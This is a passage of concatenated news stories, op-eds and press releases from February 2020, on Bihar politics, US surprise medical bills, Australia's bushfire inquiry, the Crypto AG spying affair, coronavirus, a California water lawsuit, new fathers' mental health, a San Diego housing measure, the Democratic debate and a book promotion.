Janata Dal United last month after he spoke out against the partys stand on the citizenship law. This week, he opened up about the circumstances that led to his exit and asserted that he had ideological differences with Nitish Kumar over his partys partnership with the BJP. Kishor had also spoken about the launch of a campaign, Baat Bihar Ki that seeks to tap the states youth power and underlined that he was not looking to get into any alliance to win or lose elections. But he has been meeting opposition leaders in Bihar. On Thursday, he met up with Hindustani Awam Morcha chief Jitan Ram Manjhi, who joined the JD(U) in 2005 and was handed the Bihar chief ministers chair when Nitish Kumar picked him to replace himself after JD(U)s poor show in the 2014 Lok Sabha polls. A day earlier, Kishor had met RLSP chief Upendra Kushwaha, who was a minister in the BJP-led NDA government until his party pulled out of the coalition in December 2018. Kushwaha , who has confirmed having met Kishor, was not forthcoming on what transpired. His party has a common ground with Kishor as the RLSP has been targeting the Bihar government led by Nitish Kumar for its performance on education, health, job and plight of farmers. On an ideological plane, we are on the same page. The informal meeting revolved on Bihars development, said Fazal Imam Mullick, former national office bearer of the party. Prashant Kishor and the political consultancy firm that he founded have collaborated with leaders such as Trinamool Congress Mamata Banerjee and AAPs Arvind Kejriwal, fuelling speculation about his political course in Bihar. For now, he has only made it clear that he was not thinking in terms of floating a new political party. An increasing source of public unhappiness with the private health insurance system in the U.S. involves the prevalence of large surprise bills. This happens when an out-of-network provider does not take your insurance companys reimbursement as payment in full, and instead bills you extra. Politicians, ever eager to help, have proposed new regulatory legislation. But a key source of confusion about the phenomenon and the remedies is what causes it who has allowed this to happen? A recent New York Times column by a physician-journalist reviews the history and motivations of the players and concluded that the culprits were several players physicians, hospital systems, and private insurers who were basically fine with the current arrangement and, to make things worse, are unwilling and unlikely to make the types of big concessions that would change them. This conclusion, and the logic and history behind it, is wrong. Heres why: More than 95% of us get our private health insurance as a job-based benefit. Your employer, or in some cases your union, chooses the details of the policies you will be able to get. Not only that, more than half of covered workers (usually in large firms) get coverage that is self-insured by their employer while an insurance company may administer the coverage, ultimately the employer pays for whatever claims are submitted. In addition, most private Blue Cross insurance is sold by non-profit plans (like our own Independence Blue Cross). This means that the scary vision of a profit-seeking insurer denying benefits to make more money is not what most of us face either our insurance does not have stockholders or lower benefits make more money for our boss. What we do face is whatever insurance choices our employers HR department has (presumably) scrutinized and offered to us. How should they screen? Even before Obamacare put in some gentle regulations and mandates of this kind of insurance, the great majority of employers paid their workers with benefits as well as money wages, choosing the level of both to attract and retain the best quality workers for the money. So why would they want to offer insurance that makes their employees mad and fearful? The answer (as usual) is cost in this case the additional cost to avoid these infrequent events. But even if the premium is lower for an insurance riddled with loopholes and sharp practices, that will not be good for the employer who wants to keep workers, especially in todays tight labor market. One way for you to get stuck with a surprise bill is to use a hospital that is in the network for your job-based plan but which has not contracted with all the doctors and other franchised providers of care it permits to treat you. Sometimes this happens because you did not know an out-of-network provider participated in your care, or you were offered a service for an illness that is not an emergency had you known, you might have done something else (or at least complained). However, if your employers benefits managers are doing their job, they should have known (better than you could) and prevented this from happening in the first place as long as it does not cost too much by selecting a less-tricky network, or (if a large employer) negotiating with the health system. Dealing with the case in which you have an emergency far from home is harder. You are injured in an accident and you cannot be expected to shop for a medical provider. You could have a big surprise bill. Your boss could have bought a plan with a nationwide price-limited network (such as the Blue plans have), but that might cost too much (and remember, most of this employer-paid insurance cost comes out of your wages). Or it could contract with an insurer with a more discerning policy to pay whatever it costs for a basic set of emergency services (such as those set by the federal law requiring ER care up to a point) and then transferring you to an in-network provider for any additional services. You and your boss might even prefer a plan that negotiates for you over the amount to be paid with arbitration and thus limits your own liability. If it was up to me, I would still rather rely on my employer than the lawyers or even the physician members of Congress to choose what I would get in such a situation. So, what should you check that your boss is doing? Here are several things: Did HR read the fine print, and know what kind of surprise bills would happen? Does it keep track of such bills when they (inevitably) occur and help workers? Does it use this data next year to drop certain hospitals from its network? If I could have my own way, I would also want the insurance card to have a big box with red print saying Caution! With this insurance plan you are at risk for surprise bills, if that is true. (This is like the black box warning the FDA requires for dangerous drugs.) There is a broader health reform point here. There have always been problems with unexpected bills and uncovered bills in private health insurance (worse in the old days when it only covered inpatient care). As overall medical costs are rising, the people currently in charge employers and those who advise them need to step up their game if they hope to continue to play. It is a difficult job: if you have a policy that pays all out-of-network bills in full, your workers will not prefer in-network doctors, and then no doctor will gain by being in network. People have different opinions on whether there is some better alternative than what the Times article describes as the status quo (there does not have to be). But those with the job of paying for and choosing worker private insurance (employers and unions) ought to do their job right, explain to us workers what they determined to be the best in an imperfect world, and help us out when we are unlucky. Mark V. Pauly is Bendheim Professor in the department of health care management, professor of health-care management, and professor of business economics and public policy at the Wharton School, and professor of economics in the School of Arts and Sciences at the University of Pennsylvania. He is also a member of the Inquirers Health Advisory Panel. Australia Launches National Inquiry Into Devastating Bushfires Australian Prime Minister Scott Morrison on Thursday announced a detailed national inquiry into the recent devastating bushfires that killed 33 and scorched more than 10.3 million hectares (103,000 sq km) of landabout the size of South Korea. Australia has, for months, been battling hundreds of blazes that began in September 2019an unusually prolonged summer bushfire season exacerbated by three years of drought. The episode has been dubbed the Black Summer bushfires. Morrison said a six-month national Royal Commission would investigate preparedness for future bushfires and the need for any changes to the law to clarify who is responsible for overseeing emergency authorities. Australian Prime Minister Scott Morrison speaks during House of Representatives Question Time at Parliament House in Canberra, Australia, on Feb. 12, 2020. (AAP Image/Mick Tsikas via Reuters) In January, the prime minister ordered the deployment of some 6,500 military reservists to support state authorities. Managing bushfires is typically the responsibility of state governments and fire services. Morrison said in a statement that the call of the 6,500 reservists was the first-ever compulsory call out of Reservists that had been initiated without clear rules, and thereby created a constitutional grey zone. I believe Australians are wanting us to look at ways we can work together to give Australians greater assurances at a national level that these important tasks are getting done, Morrison said. The prime minister added that the Royal Commission inquiry acknowledges climate change, the broader impact of our summers getting longer, drier and hotter and is focussed on practical action that has a direct link to making Australians safer. Thats why we need to look at what actions should be taken to enhance our preparedness, resilience, and recovery through the actions of all levels of government and the community, for the environment we are living in, he said. Morrison said he hopes the Royal Commission can report back by Aug. 31 to enable recommendations to be acted upon before the next bushfire season. The Royal Commission will be headed by former Australian Defence Force (ADF) chief Mark Binskin. He will be joined by two others, former Federal Court judge Annabelle Bennett and a specialist in climate risk and impact management, Andrew Macintosh. According to the announcement, the federal inquiry wont duplicate the work of other inquiries but will work with other state inquiries and also review previous inquiries recommendations. According to a release, the latest Royal Commission seeks to focus on three areas: Improving natural disaster management coordination across all levels of government; Improving Australias preparedness, resilience, and response to natural disasters, across all levels of government; The legal framework for the Commonwealths involvement in responding to national emergencies and how that works with state and territory legal frameworks. Part of the inquiry will also look into traditional land management techniques used by Indigenous Australians, the Australian Broadcasting Corporation reported. The federal inquiry comes as an independent inquiry in New South Wales state announced by Premier Gladys Berejiklian in January kicked off in earnest, reported AAP. The inquiry is expected to last six months. Submissions for the NSW Independent Bushfire Inquiry are now open until March 27, but the deadline can be extended for those who were directly impacted by the bushfires. In the aftermath of the bushfires, the Australian government committed A$2 billion over the next two years to a bushfire recovery fund to support local governments, farmers and primary producers, and deliver mental health support to first responders. This is in addition to over $100 million already provided in emergency payments for impacted individuals and families and payments for volunteer firefighters, Morrison said of the A$2 billion commitment. Its a long road ahead, and we will be with these communities every step of the way as they rebuild. Reuters contributed to this report. ZURICH (Reuters) - Senior members of the Swiss legislature are demanding a parliamentary investigation into a spying operation in which U.S. and German intelligence used a Swiss cryptography company as a front to eavesdrop on other countries. The government has appointed a former Supreme Court justice to look into "Operation Rubicon", which for decades involved the U.S. Central Intelligence Agency (CIA) and German BND spy service covertly using Crypto AG's encryption technology to crack other nations' top-secret messages. He is due to report back by the end of June and the cabinet will be briefed. But pressure is mounting for parliament to launch its own investigation to find out who in Switzerland knew about the scheme. Although the outlines of "Operation Rubicon" were known for years, new details about its scope and duration were made public this week by Swiss, German and U.S. investigative journalists. If the Swiss state knew of the operation and turned a blind eye to it, Switzerland's image as a neutral go-between in international affairs could be damaged. Alfred Heer, head of parliament's government oversight committee, told broadcaster SRF he would propose his panel look into the matter. "This is the fastest way to shed light on the affair," he said. "It is our obligation to investigate this case." The center-left Social Democrats have called for a full parliamentary investigation and two other coalition parties said they were also open to a full investigation, which would be only the fifth in Swiss history. The company used its base in neutral Switzerland to help it sell code-making equipment to Iran, India, Pakistan, Libya, Egypt, Chile, Argentina and dozens of other countries who in effect paid millions of dollars to be spied on. The technology was modified to let the CIA and BND break codes, the Washington Post newspaper and German and Swiss broadcasters ZDF and SRF reported. They described U.S. spymasters and their then-West German counterparts as controlling nearly all Crypto operations from 1970. Story continues Several former government officials approached by SRF denied knowledge of the operation or said they did not remember. SRF cited unnamed sources as saying Swiss intelligence knew of the scheme and that Swiss officials helped block a police investigation in the 1990s after a Crypto executive tipped off authorities. (Reporting by Michael Shields, Editing by Timothy Heritage) Two more people died from the new coronavirus in Iran, infections nearly doubled in South Korea, and clusters surfaced in Chinese prisons Friday, rekindling concerns about an epidemic that has killed more than 2,200 people in China. The World Health Organization warned nations could face a serious problem if they fail to "hit hard now" against the virus, which has infected more than 75,000 in China and over 1,100 abroad. China has pointed to official figures showing new cases slowing this week as evidence that its drastic containment measures are working, but fresh infections emerged at two Beijing hospitals, and more than 500 others were reported in prisons across the country. Chinese authorities have placed tens of millions of people under quarantine in hard-hit central Hubei province, restricted movements in other cities far from the epicentre, and closed schools nationwide. At a Politburo meeting chaired by Chinese President Xi Jinping Friday, the leadership said that the epidemic's peak "has not yet arrived", and the situation in Hubei and Wuhan remains "grim and complex," according to state media. Many nations have banned travellers from China and airlines have suspended flights to and from the country. But clusters and outbreaks continue to emerge, and 13 people have now died outside mainland China. Iran's health ministry reported two more deaths among 13 new cases of coronavirus in the Islamic republic, bringing the total number of fatalities to four and infections to 18. - South Korean sect - Earlier cases had already prompted Iraq to ban travel to and from its neighbour and Kuwait's national air carrier to suspend flights. Seven of the new cases were in the Shiite holy city of Qom, four in Tehran and two in Gilan, health ministry spokesman Kianoush Jahanpour said on Twitter. He did not say anything about the suspected source of the outbreak in Iran. In South Korea, the number of cases nearly doubled to 204, making it the hardest-hit country outside China. More than 120 members of Shincheonji Church of Jesus, a religious sect in the southern city of Daegu, have now been infected. It started with a 61-year-old woman who developed a fever on February 10 but attended at least four church services before being diagnosed. The mayor of Daegu -- South Korea's fourth-biggest city, with a population of over 2.5 million -- has advised residents to stay indoors. Most people on the streets were wearing masks Friday, but many businesses were closed and workers sprayed disinfectant outside the church. "With so many confirmed cases here I'm worried that Daegu will become the second Wuhan," said Seo Dong-min, 24, referring to Hubei's capital, where the virus first emerged. Two Australians evacuated from the Diamond Princess cruise ship, meanwhile, tested positive for coronavirus on their return home despite being cleared in Japan. An Israeli also tested positive upon returning home -- becoming his country's first COVID-19 case. The cases will fuel questions about Tokyo's policy of allowing former Diamond Princess passengers to return home after testing negative. Two former passengers, both Japanese and in their 80s, died in Japan on Thursday. "If we don't hit hard now using the window of opportunity we might be faced with a serious problem," WHO chief Tedros Adhanom Ghebreyesus said Thursday. - Prisons and hospitals - China reported 118 more deaths on Friday, raising the toll to 2,236, most of them in Hubei. The National Health Commission also said in its daily update that China tallied 889 new cases, up from the previous day when it reported the lowest number of new infections in nearly a month, fuelling hopes that the epidemic is nearing its peak. Among those, 258 were outside Hubei, ending a 16-day streak of new infections falling in the rest of the country. Hubei's figures have raised questions, however, as officials have changed methods of counting cases twice and amended their figures. Tu Yuanchao, deputy director of Hubei's health commission, said previously removed cases would be reinserted in the tally, acknowledging that the modifications had "created a certain amount of doubt" in society. A 29-year-old Wuhan doctor died on Thursday, making him one of the youngest known fatalities of the epidemic and the eighth among medical workers. New hotspots were found in prisons and hospitals. Seven guards and 200 inmates tested positive for the virus at Rencheng prison in eastern Shandong province. Eight officials were fired over the issue. In Hubei, 230 cases were reported at the Wuhan Women's Prison, whose warden was also dismissed, and 41 others were reported at a penitentiary in Shayan county. One suspected infection was found at a juvenile detention centre. Another 34 cases have been found at a prison in eastern Zhejiang province, leading to the ouster of its director and another official. In Beijing, health officials said 36 people, including medical staff, patients and their families, have tested positive for the virus at Fuxing hospital. At Peking University People's Hospital, a patient became infected after a visit from two relatives who tested positive for the virus. burs-lth-prw/ SAN FRANCISCO (BCN) California Attorney General Xavier Becerra sued President Donald Trump's administration in federal court in San Francisco Thursday to challenge biological reports justifying increased water diversions from the Sacramento-San Joaquin River Delta to Central California. Becerra filed the lawsuit on the day after Trump at a ceremony in Bakersfield signed a presidential memorandum supporting the development and delivery of more water supplies in the Central Valley. The memorandum and a related operations plan by the U.S. Bureau of Reclamation rely on biological opinions in which two federal agencies concluded that increased water diversion from the delta would not harm three endangered or threatened fish species: the Delta smelt, Chinook salmon and Central Valley steelhead trout. Becerra filed the suit on behalf of the California Natural Resources Agency, the California Environmental Protection Agency and the people of California. It claims the biological opinions issued last year by the U.S. Fish and Wildlife Service and the National Marine Fisheries Service "run counter to the scientific evidence that was before the agencies" and failed to analyze the potential harm to the species. The lawsuit asks for court orders setting aside the biological opinions and prohibiting the administration from taking any action in reliance on the opinions until a new environmental analysis is completed. Becerra said in a statement, "California won't silently spectate as the Trump Administration adopts scientifically challenged biological opinions that push species to extinction and harm our natural resources and waterways." Gov. Gavin Newsom said, "Our goal continues to be to realize enforceable voluntary agreements that provide the best immediate protection for species, reliable and safe drinking water, and dependable water sources for our farmers for economic prosperity." In a news release announcing Trump's action Wednesday, U.S. Interior Secretary David Bernhardt said, "President Trump gave the Department of the Interior and the Department of Commerce clear direction to move forward and provide water to California's communities and farms. "This action furthers President Trump's commitment to America's hardworking farmers who need water to feed our nation," Bernhardt said. The defendants in the case are Bernhardt, Commerce Secretary Wilbur Ross, the National Marine Fisheries Service, the Fish and Wildlife Service, the Bureau of Reclamation and the agency leaders. The fisheries service and the Bureau of Reclamation are divisions of the Commerce Department and the Fish and Wildlife Service is in the Interior Department. A coalition of fishing and environmental groups filed a similar lawsuit against the administration in federal court in San Francisco in December to challenge the biological opinions. Two Central Valley water agencies that were allowed to join the case to defend the biological opinions have asked to have that lawsuit transferred to federal court in Fresno. U.S Magistrate Laurel Beeler will hear arguments on that motion in her San Francisco courtroom on March 26. Copyright 2020 by Bay City News, Inc. Republication, Rebroadcast or any other Reuse without the express written consent of Bay City News, Inc. is prohibited. Its not easy being a bloke. On the one hand we want them to show their emotions more, speak up, not to bottle things in, but on the other hand we still expect them to be the strong ones when life rattles and we all go tumbling down. Remember the Friends episode where Rachel goes out with Bruce Willis and hes a super macho man who never makes himself vulnerable with her? She pushes him to emote, then dumps him after the dam breaks, and he spends the entire evening sobbing in her arms about every little detail of pain he has suffered over the years. How deeply unsexy, we all agreed, it made him, sympathising with Rachel. In a society where the biggest killer of men under 40 is suicide, that scene may not stand the test of time. For a lifetime I have been led to believe that men are intrinsically more emotionally robust than women. This is utter rubbish, of course. But its still a job to move away from that expectation. The group of men among the most neglected when it comes to mental health is new fathers. Nothing more than a new baby puts a mans emotions at the very bottom of the to-do pile. We are all brainwashed into thinking everything falls perfectly into place when you have a baby, that it makes you stronger as a couple. The best celebrity Father's Day tributes on Instagram Show all 10 1 /10 The best celebrity Father's Day tributes on Instagram The best celebrity Father's Day tributes on Instagram Victoria Beckham (@victoriabeckham) Fashion design Victoria Beckham shared a series of throwback family photos to honour her dad on Father's Day. "Happy fathers day to the best dad!!! We love u so so much x kisses x", Beckham wrote. The best celebrity Father's Day tributes on Instagram Jamie Oliver (@jamieoliver) Chef Jamie Oliver paid tribute to all dads as well as his own father Trevor aka Big Tell". "Big love to all you Dads out there that doing your very best to bring up and love the next generation, its never an easy job and today is always a nice opportunity to show some dad solidarity and respect," Oliver wrote. The best celebrity Father's Day tributes on Instagram Tom Fletcher (@tomfletcher) McFly star Tom Fletcher celebrated Father's Day by sharing a photograph that highlights the reality of parenthood. "Thanks to our son peeing in our bed this was our sleeping arrangement last night... #fathersday," Fletcher wrote. "P.S. @mrsgifletcher claimed the floor mattress before I could. Dont be deceived, its really comfy...I should know, I slept on it for 12 weeks!" The best celebrity Father's Day tributes on Instagram Clarence House (@clarencehouse) Clarence House shared a black-and-white photograph of Prince Charles and Princess Anne playing on a seesaw alongside The Duke of Edinburgh and The Queen in 1957. The best celebrity Father's Day tributes on Instagram Gordon Ramsay (@gordongram) Chef Gordon Ramsay shared a photograph of himself and his son, Jack, alongside the caption: "This picture makes me the happiest father on such a special day, thanks @gq @boss ! @_jackrams3y_ so focused and respectful." The best celebrity Father's Day tributes on Instagram Rochelle Humes (@rochellehumes) TV Presenter Rochelle Humes paid tribute to her husband, Marvin, on Father's Day. "Happy Fathers Day to our number one," Humes wrote. "If you could make a dream dad in a lab it would look like you." The best celebrity Father's Day tributes on Instagram Joshua Patterson (@joshuapatterson_jp) Made in Chelsea star Joshua Patterson encouraged men to share their "vulnerable and sensitive side" on Father's Day. The best celebrity Father's Day tributes on Instagram Billie Shepherd (billiefaiersofficial) The Only Way is Essex star Billie Shepherd paid tribute to her husband, Gregory, on Father's Day. "You are the best daddy ever to youre baby Sheps Nelly & Arthur. We all love you lots," Shepherd wrote. The best celebrity Father's Day tributes on Instagram Matt Haig (@mattzhaig) Author and mental health advocate Matt Haig paid a touching tribute to his father on Instagram, calling him a "dad to be proud of". "I know you think Fathers Day is a load of manufactured nonsense but I love you Dad," Haig wrote. The best celebrity Father's Day tributes on Instagram Fearne Cotton (@fearnecotton) Presenter Fearne Cotton shared a series of images on Father's Day including a selfie taken with her own dad, Michael. "You legend @michaelcottonsigns Happy Fathers Day dad! Im bloody lucky I got you! The kindest, gentle giant out there! Love you to the moon," Cotton wrote. I grew up singing The farmer wants a wife, the wife wants a child. No one ever considers that sometimes, once that child comes, the farmer doesnt know which way is up anymore, doesnt know if hes up to the job, cant tell anyone he loves the dog more than the new baby and anytime he tries to speak, people tell him to be strong and run his wife a tea tree bath. We are never told that how you feel about someone romantically ultimately doesnt count for jack when the pair of you are tasked with caring for the most helpless baby mammals of any species. My husband and I separated when our son was two. Turned out reading poetry to each other at 4am and gazing into each others eyes across crowded rooms was not what was required to prepare us for a partnership which required utter selflessness, analysis of poo and a universe of emotions you had never experienced before and all the while catastrophically sleep-deprived. The baby needs its mum and the mum needs the father. This remark is often made when a child is born. There is truth in it. Most often when it comes to couples who have a baby, one partner gives birth and the other flails around trying their best to be useful (obviously not all parents are one man, one woman, and not everyone gives birth to their child, forgive me generalising in this short column). Even in a world where the post-natal mental health of mothers is commonly spoken about, its still incredibly hard when youre in the thick of it to acknowledge the toll that having a child takes. My grandmother (whod had nine children) called me up from Iran and said casually, Do you love him yet? Dont worry if you dont, right now its just like your heart is outside of your body and you have to look after it. The love will come, for now its survival. She was right. A few days later, after the trauma of the birth subsided, the love poured down in an avalanche which has never stopped since. I was talking recently to a new dad who was finding it hard to adjust. There are very few resources to support dads who are not coping with the fact that their life as they knew it is completely disappearing, and their relationship is changing shape. We women swoop in to support each other. Those groups of women you see with prams in coffee shops that so many people get irritated with (All they talk about is babies, their prams take up all the space, I dont go for a coffee to listen to babies screaming.) Weve all heard the moaners. Those women in coffee shops with newborns are hanging on to each other for support. Those outings take them out of the house and to women in the same boat. They stop us sinking under. Get a takeaway cup if this bothers you. Id love to see support groups and social groups for new fathers to become the norm. Men going through the same stages of parenthood should be able to find and support each other. Its harder for men to make new friends without booze. Its acceptable to say, Do you fancy a pint? to an acquaintance but harder to say, Im feeling really down, I could do with a cup of tea and a natter. When a man flees his new family (and it happens; my own family is awash with fathers who didnt stay) its easy to demonise him. Far less often we wonder if he would have stayed if we, as a society and in our culture, offered the same compassion and the same support to fathers who struggle, instead of raging at them for not being man enough to cope. SAN DIEGO, Feb. 20, 2020 /PRNewswire/ -- San Diego Mayor Kevin Faulconer today endorsed Yes on B the Better Choice Measure, continuing his broader effort to alleviate San Diego's housing crisis by creating more attainably priced homes for local working families. "Because of our housing shortage, home prices have continued to soar far beyond what so many of our families can afford," said Faulconer. "I'm proud to support Yes on B the Better Choice Measure because it will deliver homes that our first responders, teachers, military personnel and other middle-income San Diegans can afford to buy." To view the Mayor's full statement, click here. Yes on B the Better Choice Measure would create 2,135 homes 60% of which will be affordable for working families starting in the mid-$300,000 range right along the I-15 corridor in close proximity to hundreds of thousands of jobs. The proposal also would preserve 1,200 acres of open space, the approximate size of Balboa Park. A Yes vote for Measure B on March 3rd would affirm the San Diego County Board of Supervisors' unanimous 2018 approval of the plan, which also includes 36 acres of parks, 19 miles of trails, a dog park, and equestrian staging area. The property is currently zoned and more for 99 luxury estates as well as 2 million square feet of commercial and retail development, however many believe the property should be used for attainably priced homes given the region's housing crisis. In addition to Mayor Faulconer, the Yes on B Better Choice Measure was also endorsed today by Poway Mayor Steve Vaus. They join a growing coalition in support of Yes on B, including CAL FIRE Local 2881, Deputy Sheriffs' Association of San Diego County, Local Laborers 89, all five North County Mayors (Escondido, San Marcos, Vista, Carlsbad and Oceanside), San Diego Regional Chamber of Commerce, Chicano Federation, and other housing advocates. Ad paid for by Plan for the People: San Diegans for solutions to housing, traffic and sustainability. Committee major funding from Newland Sierra, LLC SOURCE Yes on B Wednesday nights presidential debate in Las Vegas, Nevada, strongly suggests that the Democratic Party is headed for a political debacle at its presidential nominating convention in Milwaukee this summer, as a half-dozen right-wing candidates gang up in an effort to deprive Vermont Senator Bernie Sanders of the nomination. The media coverage of the two-hour debate focused on the rehearsed insults and sound bites deployed by the six candidates on the stage against each otherwith the biggest blows hitting billionaire Michael Bloomberg, participating in his first debateand on speculation about which candidates might benefit from their debate performance in the polls and in fund-raising. From left, Democratic presidential candidates, Mike Bloomberg, Senator Elizabeth Warren, Senator Bernie Sanders, participate in a Democratic presidential primary debate, February 19, 2020, in Las Vegas, hosted by NBC News and MSNBC [Credit: AP Photo/John Locher] But the most important incident at the debate came at the very end, when the candidates were asked about the now increasingly likely scenario, with convention delegates divided up among four, five or even six candidates, that no candidate wins an outright majority. Should the candidate with the most delegates, albeit less than a majority, become the nominee? Sanders said yes. All the othersBloomberg, former Vice President Joe Biden, Senator Elizabeth Warren, Senator Amy Klobuchar, and former South Bend Mayor Pete Buttigiegsaid no, declaring that the process of the nominating convention must be allowed to play out. This answer demonstrates two important political facts: the self-styled democratic socialist Sanders is viewed as the frontrunner and is expected to win the most delegates; and his opponents are prepared to join forces and engage in backroom maneuvers to block his nomination. In acknowledging that Sanders has emerged as the leading candidate for the nomination, his rivals are admitting an incontestable fact. Sanders now leads in the national polls and in most state polls, including Nevada, where caucuses take place Saturday, and in the most important states voting March 3, Super Tuesday, including California, Texas, North Carolina and Virginia. In a poll conducted for the Washington Post and ABC television network, Sanders was supported by 32 percent, compared to 16 percent for Biden, his closest rival. Bloomberg followed with 14 percent, Warren 12 percent, Buttigieg 8 percent and Klobuchar 7 percent. Sanders led among men and women, those with a college education and those without, and among Latinos, and he was a close second to Biden among African-Americans. Most revealing was the age breakdown: among Democratic voters under 50 years old, Sanders had the support of a clear majority. Among the youth, his support approaches a landslide. These figures are a distorted reflection of a pronounced shift to the left among American workers and youth, looking for an alternative to corporate domination, gaping economic inequality, and the mounting threat of war. Writing in the Post, Dan Balz observed, One measure of how rapidly things are changing is this: In barely a week, the question has shifted from whether Sanders has a ceiling, based on the fact that he managed just a quarter of the vote in both Iowa and New Hampshire, to whether he can be stopped. The answer to that question could be known as early as Super Tuesday, less than two weeks away. In invoking the process required to select a nominee, the Democratic candidates are referring to the rule established by the Democratic National Committee that allows nearly 800 unelected superdelegates to be seated at the convention, comprised of Democratic congressmen, senators, governors and other current and former officials, as well as all the members of the DNC itself. These superdelegates are barred from voting for a presidential nominee on the first ballot. But if no candidate wins a majority, superdelegates will vote in the second ballot, and would likely play the decisive role in selecting a nominee other than Sanders. This is only the expression in the language of convention delegate arithmetic of a more basic political truth: it is absurd to claim, as Sanders does, that the Democratic Party can be transformed into a vehicle for political revolution or become the basis for building a movement for vast and progressive change in the United States. The Democratic Party is a capitalist party, unshakably committed to the defense of the profit system and the global interests of American imperialism. That is true whether its presidential candidate is the billionaire Bloomberg, the longtime Washington operative Biden, the left-talking Senator Warren or Sanders himself, whose talk of socialism is nothing more than a left label for policies of liberal reform modeled on those of Franklin Roosevelt, the leader of American imperialism in its heyday. The debate itself demonstrated the basic class orientation of the Democratic Party. As usual in these affairs, but perhaps more strongly than any previous debate, nearly all significant issues of foreign and domestic policy were excluded. There were only a handful of references to the deepening social crisis in America, the harrowing conditions of life facing tens of millions of workers and youth, and the turn to police-state methods by the Trump administration. There was virtually no discussion of American foreign policy or events taking place outside the United States. There was no mention of the mass struggles sweeping Latin America, or of the coronavirus epidemic, the mounting economic and political tensions between China and the United States, the festering conflicts in the Middle East, or the rise of the fascist far right in Europe. Nor was there any discussion of the failed impeachment of President Trumpover charges that he held up military aid to Ukraine for its hot war with Russiaor of the aggressive and anti-democratic actions Trump has taken since then, including his assertion of an absolute right to intervene in any criminal investigation being conducted by the US Department of Justice. Amid the endless mutual mudslinging and attempts to one-up each other, most of Sanders rivals on the debate stage did take the opportunity to denounce the socialist label that has been central to his rise to frontrunner status. Bloomberg was the most brazen, sneering at attacks on capitalism, declaring that he worked hard for his $60 billion fortune, and engaging in open red-baiting, saying, Its ridiculous. Were not going to throw out capitalism. We tried. Other countries tried that. It was called communism, and it just didnt work. The audience booed. The two NBC News moderators who are themselves multi-millionaires, Lester Holt and Chuck Todd, incited the candidates to declare their opposition to Sanders socialism, suggesting that it would doom the Democratic Party in the November election. (Todd was a remarkable choice for a moderator, given that he has publicly condemned Sanders supporters as online brownshirts.) In one of his rehearsed lines, Buttigieg presented himself as the happy medium between Sanders and Bloomberg, saying, most Americans dont see where they fit if theyve got to choose between a socialist who thinks that capitalism is the root of all evil and a billionaire who thinks that money ought to be the root of all power. Warren reiterated her flat declaration that she was a capitalist, as opposed to Sanders, while professing to agree with him on many issues. Klobuchar declared, I believe in capitalism, while claiming that government could act as a check on corporate wealth. Only Biden missed his cue from Holt, who asked him to comment on a poll supposedly showing voter hostility to socialism. Biden replied with a bit of demagogy about taxing the wealthy but did not join in the condemnation of the s-word. Sanders himself only confirmed that his socialism has nothing to do with an actual struggle by working people to overthrow and replace the profit system. He calls only for higher taxes on the rich, for a somewhat fairer distribution of wealth and income, while maintaining that such changes can be accomplished through the election of a Democratic president and a Democratic Congress. When his right-wing opponents decry his reform policies as politically unrealistic, declaring that they could never be enacted under the existing two-party system, they are telling the truth, albeit from a right-wing standpoint. Sanders is seeking to delude his millions of supporters with the prospect of a revival of liberal reformism under conditions of a deepening global crisis of capitalism and a turn by the ruling classes all over the world to austerity, militarism, and the promotion of fascist and racist forces. At one point in the debate, when challenged on the conflict over health care policy between his campaign and the officials of Culinary Workers Local 226, which collects dues from 60,000 casino and hotel workers in Las Vegas, Sanders made an abject disavowal of any criticism of the union officialdom: I saw some of those tweets regarding the Culinary Workers Union. I have a 30-year 100 percent pro-union voting record. Do you think I would support or anybody who supports me would be attacking union leaders? Its not thinkable. This statement demonstrates Sanders real political orientation. He seeks to build, not a genuine popular movement against capitalism, but a diversionary bulwark to block such a movement, consisting of elements of the pseudo left, the trade union apparatus, and as much of the Democratic Party establishment as he can convince to support his efforts. The author also recommends: Bloombergs billions and the politics of oligarchy [17 February 2020] Democratic Party establishment wages war on Sanders [22 January 2020] Ray Banister is a seventh-generation Irish-American who grew up in South Carolina, attended Clemson University before embarking on a twenty-one-year career as a tool engineer, and then retired to start his own business manufacturing medical prostheses. He has published his latest book An American Dream: a spellbinding and richly detailed portrait of a courageous young girl navigating life as an Irish immigrant in an America gripped by the controversial horror of slavery and leadup to the Civil War. Beginning quite mysteriously in September 1845, healthy green leaves on potato plants suddenly turned black, curled; and then rotted. Then like an uncontrollable wildfire in a wind-swept forest, winds from southern England carried that mysterious blight to leaves of healthy potato plants around the Dublin countryside. As fungal spores they multiplied, cool breezes quickly spread that same unchecked blight to surrounding plants throughout all the potato fields of Ireland. This blight quickly became an imperiling devastation; casting Ireland into a horrifying tribulation. One-third of Irelands population had become solely dependent on the potato to sustain their livelihoodthe Irish potato famine would reduce the already desolate Irish people to penniless dehumanized paupers and homeless outcastthe infamous Irish potato famine had begun. Caught-up in the famines inescapable grasp was the Andrew and Mattie OMalley family, innocent Catholic potato farmers with three children: two teen-age sons and a six-year old daughter named Rose. Their survival and existence now at the mercy of English and Anglo-Irish landowners who were loyal members of The Anglican Church of England The British Government defended the vindictive landowners by failing to initiate any reactionary measures to relieve the devastating problems of the Irish people. The effects of not taking measures to address or reconcile those issues created a host of political, social, and economic factors that forever etched irreconcilable resentment and distrust on the English and Irish demographic landscape. But far worse was the direct devastation subjected on the helpless Irish people. Over the next six years, more than a million Irish men, women and children would die from mass starvation or from infectious diseases resulting from that mysterious blight and the lack of government intervention. Another million would flee Ireland on questionable sea-worthy disease infested sailing ships dubbed famine ships or coffin ships to America. This is a story of unrivaled courage shown by an eight-year old Irish girl; orphaned by the infamous Irish potato famine in the 1840s. She came to America alone on a disease infested famine ship during the time of legalized slavery and uncontested bigotry and dedicated her lifes work to eradicate both. Published by Page Publishing, Ray Banisters engrossing book is a must-read for fans of Irish history, American history, and historical fiction. Readers who wish to experience this engaging work can purchase An American Dream at bookstores everywhere, or online at the Apple iTunes store, Amazon, Google Play, or Barnes and Noble. For additional information or media inquiries, contact Page Publishing at 866-315-2708. About Page Publishing: Page Publishing is a traditional, full-service publishing house that handles all the intricacies involved in publishing its authors books, including distribution in the worlds largest retail outlets and royalty generation. Page Publishing knows that authors need to be free to create - not mired in logistics like eBook conversion, establishing wholesale accounts, insurance, shipping, taxes, and so on. Pages accomplished writers and publishing professionals allow authors to leave behind these complex and time-consuming issues to focus on their passion: writing and creating. Learn more at http://www.pagepublishing.com. People wait in line to vote on the final day of early voting for the upcoming Nevada Democratic presidential caucus on February 18, 2020 in Las Vegas, Nevada. Mario Tama | Getty Images LAS VEGAS Democrats in Nevada seek to tamp down fears their Saturday caucus will 